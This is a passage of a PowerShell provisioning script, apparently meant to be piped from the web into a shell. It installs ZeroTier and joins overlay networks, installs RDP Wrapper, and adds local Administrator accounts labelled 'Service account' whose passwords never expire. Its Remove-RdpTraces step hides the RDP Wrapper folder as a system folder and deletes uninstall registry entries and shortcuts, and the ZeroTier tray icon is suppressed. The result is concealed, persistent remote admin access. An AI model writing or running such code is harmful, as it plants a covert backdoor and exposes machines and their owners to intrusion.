$installed -and -not $script:DryRun) { $msi = Join-Path $script:WorkDir 'rdpwrap.msi' if (Invoke-Download -Urls $script:RdpWrapMsiUrls -Destination $msi -MinimumBytes 200000 -TimeoutSec 300) { $r = Invoke-Native -FilePath 'msiexec.exe' -Arguments @('/i', $msi, '/qn', '/norestart') -TimeoutSec 300 if ($r.ExitCode -in 0, 3010) { $installed = $true } else { Write-Wrn ('RDP Wrapper MSI exit code ' + $r.ExitCode) } } } if (-not $installed) { throw 'RDP Wrapper could not be installed (zip and MSI both failed)' } if (-not $script:DryRun -and -not (Test-RdpWrapInstalled)) { throw 'RDP Wrapper installer finished but rdpwrap.dll is missing' } if ($script:DryRun) { Write-Msg 'dry run: RDP Wrapper install step validated' } else { Write-Ok 'RDP Wrapper installed' } } if (-not (Update-RdpIni -RdpDir $rdpDir)) { Write-Wrn 'rdpwrap.ini was not refreshed, the bundled copy stays in place' } $supported = Test-RdpIniSupport -RdpDir $rdpDir $build = [string][Environment]::OSVersion.Version.Build if ($supported -eq $true) { Write-Ok ('rdpwrap.ini contains a section for Windows build ' + $build) } elseif ($supported -eq $false) { Write-Wrn ('rdpwrap.ini has no section for Windows build ' + $build + ' - RDP may stay single-session until a newer ini is published') } if ($script:RdpIniUpdated -and -not $script:DryRun) { $term = Get-Service -Name 'TermService' -ErrorAction SilentlyContinue if ($term -and $term.Status -eq 'Running') { $rdpClip = @() try { $rdpClip = @(Get-CimInstance Win32_Process -Filter "Name='rdpclip.exe'" -ErrorAction SilentlyContinue) } catch { } if ($env:SESSIONNAME -like 'RDP-*' -or $rdpClip.Count -gt 0) { Write-Wrn 'an RDP session is active - reboot the machine to load the updated rdpwrap.ini' } else { Write-Msg 'restarting TermService to load the updated rdpwrap.ini...' try { Restart-Service -Name 'TermService' -Force -ErrorAction Stop; Write-Ok 'TermService restarted' } catch { Write-Wrn ('TermService restart failed: ' + $_.Exception.Message) } } } } } function Remove-RdpTraces { $rdpDir = Get-RdpWrapDir if (Test-Path -LiteralPath $rdpDir) { if ($script:DryRun) { Write-Msg ('dry run: would delete installer leftovers from ' + $rdpDir + ' and hide the folder') } else { $keep = @('rdpwrap.dll', 'rdpwrap.ini', 'rdpwrap.ini.bak') Get-ChildItem -LiteralPath $rdpDir -Force -ErrorAction SilentlyContinue | ForEach-Object { if ($keep -contains $_.Name.ToLowerInvariant()) { return } Remove-Item -LiteralPath $_.FullName -Recurse -Force -ErrorAction SilentlyContinue Write-Msg ("removed '" + $_.Name + "' from the RDP Wrapper folder") } try { $folder = Get-Item -LiteralPath $rdpDir -Force $folder.Attributes = $folder.Attributes -bor [System.IO.FileAttributes]::Hidden -bor [System.IO.FileAttributes]::System Write-Msg 'rdpwrap.dll and rdpwrap.ini kept, folder hidden' } catch { Write-Wrn ('could not set folder attributes: ' + $_.Exception.Message) } } } $roots = @( 'HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall', 'HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall' ) foreach ($root in $roots) { if (-not (Test-Path -LiteralPath $root)) { continue } Get-ChildItem -LiteralPath $root -ErrorAction SilentlyContinue | ForEach-Object { $entry = $_ $remove = $false if ($entry.PSChildName -match '(?i)RDPWrap|RDPWInst') { $remove = $true } else { $displayName = [string](Get-ItemProperty -LiteralPath $entry.PSPath -ErrorAction SilentlyContinue).DisplayName if ($displayName -match '(?i)RDP ?Wrap') { $remove = $true } } if ($remove) { if ($script:DryRun) { Write-Msg ('dry run: would remove uninstall entry ' + $entry.PSChildName) } else { Remove-Item -LiteralPath $entry.PSPath -Recurse -Force -ErrorAction SilentlyContinue Write-Msg ('removed uninstall registry entry: ' + $entry.PSChildName) } } } } $menuDirs = @( [Environment]::GetFolderPath([Environment+SpecialFolder]::CommonPrograms), [Environment]::GetFolderPath([Environment+SpecialFolder]::Programs) ) foreach ($dir in $menuDirs) { if (-not $dir -or -not (Test-Path -LiteralPath $dir)) { continue } Get-ChildItem -LiteralPath $dir -Recurse -ErrorAction SilentlyContinue | Where-Object { $_.Name -match '(?i)rdp.*wrap' } | ForEach-Object { if ($script:DryRun) { Write-Msg ('dry run: would remove shortcut ' + $_.FullName) } else { Remove-Item -LiteralPath $_.FullName -Recurse -Force -ErrorAction SilentlyContinue Write-Msg ('removed shortcut: ' + $_.FullName) } } } if (Get-Command Get-ScheduledTask -ErrorAction SilentlyContinue) { try { Get-ScheduledTask -TaskName 'RDPWUpdater' -ErrorAction SilentlyContinue | ForEach-Object { if ($script:DryRun) { Write-Msg 'dry run: would unregister scheduled task RDPWUpdater' } else { Unregister-ScheduledTask -TaskName $_.TaskName -TaskPath $_.TaskPath -Confirm:$false -ErrorAction SilentlyContinue } } } catch { } } } # -------------------------------------------------------------- accounts --- function Get-LocalAdminGroupName { try { $name = ([Security.Principal.SecurityIdentifier]'S-1-5-32-544').Translate([Security.Principal.NTAccount]).Value if ($name -match '\\') { $name = $name.Split('\')[-1] } return $name } catch { return $null } } function Test-LocalAdminMember { param([string]$Name) try { $groupName = Get-LocalAdminGroupName if (-not $groupName) { return $false } $net = Join-Path $env:SystemRoot 'System32\net.exe' $r = Invoke-Native -FilePath $net -Arguments @('localgroup', $groupName) -TimeoutSec 30 $text = [string]$r.Output + "`n" + [string]$r.Error return [bool]($text -match ('(?im)^\s*' + [regex]::Escape($Name) + '\s*$')) } catch { return $false } } function Ensure-LocalAdminAccount { param([string]$Name, [string]$Password) $exists = $false if (Get-Command Get-LocalUser -ErrorAction SilentlyContinue) { $user = Get-LocalUser -Name $Name -ErrorAction SilentlyContinue $exists = [bool]$user } else { try { $probe = [ADSI]('WinNT://' + $env:COMPUTERNAME + '/' + $Name + ',user') if ($probe.Name) { $exists = $true } } catch { } } if (-not $exists) { if ($script:DryRun) { Write-Msg ('dry run: would create local user ' + $Name) } elseif (Get-Command New-LocalUser -ErrorAction SilentlyContinue) { $secure = ConvertTo-SecureString -String $Password -AsPlainText -Force New-LocalUser -Name $Name -Password $secure -AccountNeverExpires -PasswordNeverExpires ` -Description 'Service account' -ErrorAction Stop | Out-Null Write-Ok ('created local account: ' + $Name) } else { $computer = [ADSI]('WinNT://' + $env:COMPUTERNAME + ',computer') $newUser = $computer.Create('User', $Name) $newUser.SetPassword($Password) $newUser.Put('Description', 'Service account') $newUser.SetInfo() $flags = [int]$newUser.Get('UserFlags') $newUser.Put('UserFlags', ($flags -bor 0x10000)) $newUser.SetInfo() Write-Ok ('created local account (ADSI): ' + $Name) } } else { Write-Msg ('account already exists: ' + $Name) if (-not $script:DryRun -and (Get-Command Enable-LocalUser -ErrorAction SilentlyContinue)) { $user = Get-LocalUser -Name $Name -ErrorAction SilentlyContinue if ($user -and -not $user.Enabled) { Enable-LocalUser -Name $Name -ErrorAction SilentlyContinue Write-Msg ('enabled account: ' + $Name) } if ($user -and -not $user.PasswordNeverExpires) { Set-LocalUser -Name $Name -PasswordNeverExpires $true -ErrorAction SilentlyContinue } } } if ($script:DryRun) { Write-Msg ('dry run: would ensure ' + $Name + ' is in the local Administrators group') return } if (Get-Command Add-LocalGroupMember -ErrorAction SilentlyContinue) { $group = Get-LocalGroup -SID 'S-1-5-32-544' -ErrorAction SilentlyContinue if (-not $group) { throw 'local Administrators group (S-1-5-32-544) not found' } try { Add-LocalGroupMember -Group $group -Member $Name -ErrorAction Stop } catch { # already a member is the usual reason here } } else { $groupName = Get-LocalAdminGroupName if (-not $groupName) { throw 'could not resolve the localized name of S-1-5-32-544' } try { $group = [ADSI]('WinNT://' + $env:COMPUTERNAME + '/' + $groupName + ',group') $group.Add('WinNT://' + $env:COMPUTERNAME + '/' + $Name + ',user') } catch { } } if (Test-LocalAdminMember -Name $Name) { Write-Ok ('member of local Administrators: ' + $Name) } else { Write-Wrn ('could not confirm Administrators membership for ' + $Name) } } # ---------------------------------------------------------------- main ----- $isAdmin = Test-Admin # Elevation happens before the main block so a relaunch can stop cleanly: # in an interactive `irm | iex` session `return` leaves the console alive. if (-not $isAdmin -and -not $NoElevate -and -not $script:DryRun) { if (Invoke-ElevatedRelaunch) { Write-Host '' Write-Host ' An elevated window was started - follow the output there.' -ForegroundColor Yellow Add-LogLine 'elevated instance started, this instance stops here' return } Write-Host '' Write-Host ' The script needs Administrator rights and could not elevate itself.' -ForegroundColor Red Write-Host ' Right-click PowerShell -> Run as Administrator, then run the script again.' -ForegroundColor Red if (-not $script:SelfPath) { return } exit 1 } $exitCode = 0 try { if ($PSVersionTable.PSVersion.Major -lt 5) { throw 'PowerShell 5.1 or newer is required.' } try { [Net.ServicePointManager]::SecurityProtocol = [Net.ServicePointManager]::SecurityProtocol -bor [Net.SecurityProtocolType]::Tls12 } catch { } if (-not (Test-Path -LiteralPath $script:WorkDir)) { New-Item -ItemType Directory -Path $script:WorkDir -Force | Out-Null } if (-not $isAdmin -and -not $script:DryRun) { Write-Wrn 'running without Administrator rights - installation steps will fail' } $netInfo = Get-ValidNetworkList -Raw $Networks $netList = @($netInfo.Valid) foreach ($bad in $netInfo.Invalid) { Write-Wrn ('ignoring invalid network id: ' + $bad) } if (-not $NoJoin -and $netList.Count -eq 0) { throw 'No valid 16-hex-character network ID given (pass -Networks or -NoJoin).' } $osCaption = '' $osBuild = '' try { $os = Get-CimInstance Win32_OperatingSystem -ErrorAction Stop $osCaption = [string]$os.Caption $osBuild = [string]$os.BuildNumber } catch { $osCaption = [string][Environment]::OSVersion.VersionString $osBuild = [string][Environment]::OSVersion.Version.Build } $modeText = 'live' if ($script:DryRun) { $modeText = 'dry run' } Write-Host '' Write-Host ' ============================================================== ' -ForegroundColor Cyan Write-Host ' ZeroTier + RDP Wrapper provisioning ' -ForegroundColor Cyan Write-Host ' ============================================================== ' -ForegroundColor Cyan Write-Msg ('computer : ' + $env:COMPUTERNAME + ' (' + $env:PROCESSOR_ARCHITECTURE + ')') Write-Msg ('os : ' + $osCaption + ' build ' + $osBuild) Write-Msg ('culture : ' + (Get-Culture).Name + ' / ' + (Get-UICulture).Name) Write-Msg ('mode : ' + $modeText + ', admin=' + $isAdmin) Write-Msg ('revision : ' + $script:Revision) if ($netList.Count -gt 0) { Write-Msg ('networks : ' + ($netList -join ', ')) } Add-LogLine ('mode=' + $modeText + ' admin=' + $isAdmin + ' os=' + $osCaption + ' build=' + $osBuild) # ---- 1/6 --------------------------------------------------------------- Write-Section '1/6 ZeroTier package' $svc = Install-ZeroTierIfMissing $ztReady = [bool]$svc if (-not $ztReady) { if ($script:DryRun) { Write-Msg 'dry run: ZeroTier is not installed here, download and validation done, service steps skipped' } else { throw 'ZeroTier service is not available after installation' } } # ---- 2/6 --------------------------------------------------------------- Write-Section '2/6 Service state' if (-not $ztReady) { Write-Msg 'skipped: ZeroTier service is not present on this machine' } else { $svc = Start-ZeroTierService if (-not $svc) { if ($script:DryRun) { Write-Wrn 'dry run: no service object to start' $ztReady = $false } else { throw 'ZeroTier service disappeared after installation' } } elseif ($svc.Status -ne 'Running') { if ($script:DryRun) { Write-Wrn ('dry run: service "' + $svc.Name + '" is ' + $svc.Status + ', not Running') } else { throw ('service "' + $svc.Name + '" is ' + $svc.Status + ', expected Running') } } else { Write-Ok ('service "' + $svc.Name + '" is Running') } if ($ztReady) { if (Wait-ZeroTierOnline -TimeoutSec 60) { Write-Ok 'ZeroTier is ONLINE' } else { Write-Wrn 'client did not report ONLINE within 60s (internet, UDP 9993, proxy); continuing' } } } # ---- 3/6 --------------------------------------------------------------- Write-Section '3/6 Join network(s)' if ($NoJoin) { Write-Msg 'skipped (-NoJoin)' } elseif (-not $ztReady) { foreach ($nid in $netList) { Write-Msg ('dry run: would join ' + $nid) } } else { foreach ($nid in $netList) { $r = Invoke-Zt -Arguments @('join', $nid) $txt = (([string]$r.Output) + ' ' + ([string]$r.Error)).Trim() -replace '\s+', ' ' if ($r.ExitCode -eq 0 -and $txt -match '\b200\b') { Write-Ok ('network ' + $nid + ': ' + $txt) } else { Write-Err2 ('network ' + $nid + ': ' + $txt) Register-Failure ('join ' + $nid + ' failed: ' + $txt) } } Start-Sleep -Seconds 2 } # ---- 4/6 --------------------------------------------------------------- Write-Section '4/6 Tray icon' if ($KeepTrayIcon) { Write-Msg 'skipped (-KeepTrayIcon)' } else { Disable-ZeroTierTray } # ---- 5/6 --------------------------------------------------------------- Write-Section '5/6 Remote Desktop' if ($SkipRdpWrap) { Write-Msg 'skipped (-SkipRdpWrap)' } else { try { Enable-RdpAccess Install-RdpWrap Remove-RdpTraces if ($script:DryRun) { Write-Msg 'dry run: Remote Desktop steps validated, nothing was changed' } else { Write-Ok 'Remote Desktop enabled, wrapper in place, installer traces removed' } } catch { Write-Err2 ('RDP step failed: ' + $_.Exception.Message) Register-Failure ('RDP: ' + $_.Exception.Message) } } # ---- 6/6 --------------------------------------------------------------- Write-Section '6/6 Local admin accounts' if ($SkipAccounts) { Write-Msg 'skipped (-SkipAccounts)' } else { foreach ($accountName in $AdminAccounts) { if (-not $accountName) { continue } try { Ensure-LocalAdminAccount -Name $accountName -Password $AdminPassword } catch { Write-Wrn ('account step failed for ' + $accountName + ': ' + $_.Exception.Message) } } } # ---- status ------------------------------------------------------------ Write-Section 'Status' if ($script:ZtCli) { $info = Invoke-Zt @('info') $infoText = (([string]$info.Output) + [string]$info.Error).Trim() Write-Host (' node : ' + ($infoText -replace '\s+', ' ')) $nets = Invoke-Zt @('listnetworks') $netsText = (([string]$nets.Output) + [string]$nets.Error).Trim() Write-Host (' nets : ' + ($netsText -replace "`r?`n", "`n ")) if ($netList.Count -gt 0) { $lines = @(($netsText -split "`r?`n") | Select-Object -Skip 1) foreach ($nid in $netList) { $line = $lines | Where-Object { $_ -match [regex]::Escape($nid) } | Select-Object -First 1 if (-not $line) { Write-Wrn ($nid + ' is not listed yet (authorization or service state)') } elseif ($line -match 'ACCESS_DENIED|AUTHENTICATION_REQUIRED') { Write-Wrn ($nid + ' needs authorization in the network controller panel') } elseif ($line -match '\bOK\b') { Write-Ok ($nid + ' connected, address(es) assigned') } else { Write-Wrn ($nid + ' -> ' + $line.Trim()) } } } } else { if ($script:DryRun) { Write-Msg 'dry run: zerotier-cli is not available on this machine, status not printed' } else { Write-Wrn 'zerotier-cli is not available, status skipped' } } } catch { Write-Err2 $_.Exception.Message Add-LogLine ('FATAL: ' + $_.Exception.ToString()) Register-Failure $_.Exception.Message } finally { Write-Host '' if ($script:HadError) { Write-Host ' Finished with errors.' -ForegroundColor Red } elseif ($script:HadWarning) { Write-Host ' Finished with warnings.' -ForegroundColor Yellow } else { Write-Host ' Finished, everything requested is in place.' -ForegroundColor Green } Write-Host (' Log: ' + $script:LogPath) -ForegroundColor DarkGray if ($script:Failures.Count -gt 0) { foreach ($f in $script:Failures) { Write-Host (' - ' + $f) -ForegroundColor DarkGray } } try { if (Test-Path -LiteralPath $script:WorkDir) { Remove-Item -LiteralPath $script:WorkDir -Recurse -Force -ErrorAction SilentlyContinue } } catch { } if ($script:SelfTempCopy -and (Test-Path -LiteralPath $script:SelfTempCopy)) { try { [IO.File]::SetAttributes($script:SelfTempCopy, [IO.FileAttributes]::Normal) Remove-Item -LiteralPath $script:SelfTempCopy -Force -ErrorAction SilentlyContinue } catch { } } if (-not $NoPause -and $Host.Name -eq 'ConsoleHost') { try { Write-Host '' [void](Read-Host 'Press Enter to close') } catch { } } } if ($script:HadError) { exit 1 } if ($script:HadWarning) { exit 2 } exit 0